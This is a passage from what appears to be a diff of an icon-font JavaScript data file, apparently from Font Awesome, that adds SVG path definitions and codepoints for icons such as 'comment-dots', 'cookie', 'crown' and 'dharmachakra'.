"M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z" ], + "comment-alt": [ 512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z" ], + "comment-dollar": [ 512, 512, [], "f651", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z" ], + "comment-dots": [ 512, 512, [], "f4ad", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "comment-medical": [ 512, 512, [], "f7f5", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z" ], + "comment-slash": [ 640, 512, [], "f4b3", "M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z" ], + comments: [ 576, 512, [], "f086", "M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z" ], + "comments-dollar": [ 576, 512, [], "f653", "M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z" ], + "compact-disc": [ 496, 512, [], "f51f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + compass: [ 496, 512, [], "f14e", "M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z" ], + compress: [ 448, 512, [], "f066", "M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z" ], + "compress-alt": [ 448, 512, [], "f422", "M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z" ], + "compress-arrows-alt": [ 512, 512, [], "f78c", "M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z" ], + "concierge-bell": [ 512, 512, [], "f562", "M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + cookie: [ 512, 512, [], "f563", "M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "cookie-bite": [ 512, 512, [], "f564", "M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + copy: [ 448, 512, [], "f0c5", "M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z" ], + copyright: [ 512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z" ], + couch: [ 640, 512, [], "f4b8", "M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z" ], + "credit-card": [ 576, 512, [], "f09d", "M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z" ], + crop: [ 512, 512, [], "f125", "M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" ], + "crop-alt": [ 512, 512, [], "f565", "M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z" ], + cross: [ 384, 512, [], "f654", "M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" ], + crosshairs: [ 512, 512, [], "f05b", "M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z" ], + crow: [ 640, 512, [], "f520", "M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + crown: [ 640, 512, [], "f521", "M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z" ], + crutch: [ 512, 512, [], "f7f7", "M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z" ], + cube: [ 512, 512, [], "f1b2", "M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z" ], + cubes: [ 512, 512, [], "f1b3", "M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z" ], + cut: [ 448, 512, [], "f0c4", "M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z" ], + database: [ 448, 512, [], "f1c0", "M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z" ], + deaf: [ 512, 512, [], "f2a4", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z" ], + democrat: [ 640, 512, [], "f747", "M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z" ], + desktop: [ 576, 512, [], "f108", "M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z" ], + dharmachakra: [ 512, 512, [], "f655", "M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z" ], + diagnoses: [ 640, 512, [], "f470", "M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 